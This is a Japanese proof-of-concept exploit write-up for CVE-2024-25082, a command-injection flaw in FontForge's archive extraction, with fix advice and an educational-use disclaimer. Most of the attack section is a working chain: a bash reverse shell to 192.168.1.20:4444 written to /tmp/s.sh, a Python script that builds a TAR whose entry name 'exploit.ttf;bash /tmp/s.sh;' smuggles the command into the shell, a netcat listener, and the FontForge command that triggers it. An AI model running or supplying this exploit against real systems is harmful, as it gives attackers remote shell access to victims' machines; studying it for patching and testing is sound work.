
FontForge Splinefontの細工されたファイル名によるコマンドインジェクション脆弱性
FontForge ≤ 20230101(Splinefont コンポーネント)における2つのコマンドインジェクション脆弱性の概念実証エクスプロイトです。
| CVE | ベクター | トリガー |
|---|---|---|
| CVE-2024-25081 | 細工されたファイル名 | 直接ファイルを開く |
| CVE-2024-25082 | 細工されたアーカイブファイル名 | TAR/ZIP/GZ/BZ2展開 |
このPoCは CVE-2024-25082 を標的としています。FontForgeの自動アーカイブ展開は、サニタイズなしでファイル名をシェルに渡すため、TARエントリ名に埋め込まれたセミコロン区切りのペイロードによって任意のコマンドが実行される可能性があります。
FontForgeはアーカイブからフォントファイルを直接開くことをサポートしています。TARアーカイブを展開する際、Splinefontコンポーネントはアーカイブエントリのファイル名を使ってシェルコマンドを構築します。ファイル名がサニタイズされていないため、エントリ名に含まれるセミコロン(;)が期待されるコマンドを逸脱し、任意のシェル命令を注入します。
悪質なTARエントリ名:
exploit.ttf;bash /tmp/s.sh;
FontForgeがこのアーカイブを処理すると、シェルは次のように解釈します:
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444(必要に応じて調整)tarfileモジュール)netcatnc -lvnp 4444
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Build the malicious archive
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
リバースシェルがリスナーに接続してきます。
FontForge post-20230101でPR #5367により修正されました。最新リリースにアップグレードしてください。
sudo apt upgrade fontforgeこの概念実証(PoC)コードは、教育および許可されたペネトレーションテスト目的のみで提供されます。